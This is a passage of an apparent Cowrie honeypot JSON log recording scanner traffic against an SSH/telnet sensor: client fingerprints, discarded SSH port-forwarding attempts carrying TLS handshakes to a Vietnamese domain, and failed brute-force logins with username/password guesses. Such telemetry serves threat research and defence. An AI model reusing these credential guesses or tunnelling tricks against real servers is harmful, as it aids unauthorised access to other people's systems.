{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.408878Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03!\\xc6O8\\x85=m+\\xf7\\x00m\\xa5\\x9d\\x15\\x1f\\xb0\\x88\\xf5\\xd6\\xd8W3\\x93qd\\xect \\x0c\\x87\\xbf\\x9f \\xa9\\xea\\xe1\\xf9\\x01(B\\x06\\xeb\\x11b^\\xe4)%q\\xbf\\xc8\\xf1\\x90xsn\\x12\\x00\\xae\\x1d]\\xfd#?\\xae\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeaj$\\xdd\\x0e\\xe6\\x1c!8\\x11\\x14\\x8b\\xc0X\\xcf\\xae\\x1cdd\\x92~\\xbb\\xbd\\x8e\\xb1\\x15\\x14DS\\x06H&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03!\\xc6O8\\x85=m+\\xf7\\x00m\\xa5\\x9d\\x15\\x1f\\xb0\\x88\\xf5\\xd6\\xd8W3\\x93qd\\xect \\x0c\\x87\\xbf\\x9f \\xa9\\xea\\xe1\\xf9\\x01(B\\x06\\xeb\\x11b^\\xe4)%q\\xbf\\xc8\\xf1\\x90xsn\\x12\\x00\\xae\\x1d]\\xfd#?\\xae\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeaj$\\xdd\\x0e\\xe6\\x1c!8\\x11\\x14\\x8b\\xc0X\\xcf\\xae\\x1cdd\\x92~\\xbb\\xbd\\x8e\\xb1\\x15\\x14DS\\x06H&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.412302Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.647531Z","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.659953Z","src_ip":"41.90.100.147","session":"64a0f97d5cae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.891944Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03u|\\xe4\\xccd#\\x81gU\\xc6?\\x11;$\\xd8t5\\xe02e\\x0c\\xd6#P\\xdc\\xc4\\x92\\x0cv\\xbb\\xca\\xb8 >\\x9c\\xac(0S\\xfe\\x7f\\xe0i\\xaf\\xcdz\\x06{\\x03o\\n\\x03\\x9cN\\x00\"\\xd1\\tN^\\rmC\\xcf\\x84\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 5\\xb9\\xa4\\xe7sX\\r\\xb0,),\\xfd\\xbf\\xa4\\xb5,\\x86\\xd1\\xb9\\x15\\xcd\\x9bh\\xe7\\xd7\\xf6\\x18\\xef\\x86\\x0bW\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03u|\\xe4\\xccd#\\x81gU\\xc6?\\x11;$\\xd8t5\\xe02e\\x0c\\xd6#P\\xdc\\xc4\\x92\\x0cv\\xbb\\xca\\xb8 >\\x9c\\xac(0S\\xfe\\x7f\\xe0i\\xaf\\xcdz\\x06{\\x03o\\n\\x03\\x9cN\\x00\"\\xd1\\tN^\\rmC\\xcf\\x84\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 5\\xb9\\xa4\\xe7sX\\r\\xb0,),\\xfd\\xbf\\xa4\\xb5,\\x86\\xd1\\xb9\\x15\\xcd\\x9bh\\xe7\\xd7\\xf6\\x18\\xef\\x86\\x0bW\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.895108Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:56.223853Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.252.53.96","src_port":53640,"dst_ip":"159.203.135.109","dst_port":23,"session":"e52fdf20a292","protocol":"telnet","message":"New connection: 47.252.53.96:53640 (159.203.135.109:23) [session: e52fdf20a292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:57.439470Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44948,"dst_ip":"159.203.135.109","dst_port":22,"session":"770c18d25fc6","protocol":"ssh","message":"New connection: 91.92.40.36:44948 (159.203.135.109:22) [session: 770c18d25fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:58.525614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:58.687660Z","src_ip":"91.92.40.36","session":"770c18d25fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:58.690606Z","src_ip":"91.92.40.36","session":"770c18d25fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa22w0rd","message":"login attempt [ubuntu/Pa22w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:00.054703Z","src_ip":"91.92.40.36","session":"d975290eedd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx123","message":"login attempt [ubuntu/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:00.300899Z","src_ip":"91.92.40.36","session":"770c18d25fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:01.761772Z","src_ip":"91.92.40.36","session":"770c18d25fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:02.606075Z","src_ip":"91.92.40.36","session":"d975290eedd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":31253,"dst_ip":"159.203.135.109","dst_port":22,"session":"5775d585b873","protocol":"ssh","message":"New connection: 178.20.210.208:31253 (159.203.135.109:22) [session: 5775d585b873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.081626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.085799Z","src_ip":"178.20.210.208","session":"5775d585b873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.187160Z","src_ip":"178.20.210.208","session":"5775d585b873","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.431686Z","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.455607Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030\\x8b\\x98R\\xf98#\\xc2q`\\xa4\\xc1\\x0eIp\\t6.{u\\x89t\\x15\\xad\\xb5v\\xbb\\x1c\\x1aFHr G\\x98\\x7f\\xb8\\x817\\xe9\\x0f`]pCA\\xbfj\\xc6\\x8b\\x16\\n\\xfd\\xbfTl+y\"\\x84)\\x03\\x01>6\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x01|\\xcd\\r\\xe9{\\xff\\xd5\\xd8J>P\\xba\\x85\\x07\\xae\\x91\\x02\\xa52\\xb5f\\x18\\x0c\\x86\\xb9\\xb2\\x14\\x86\\xc1\\x1a\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\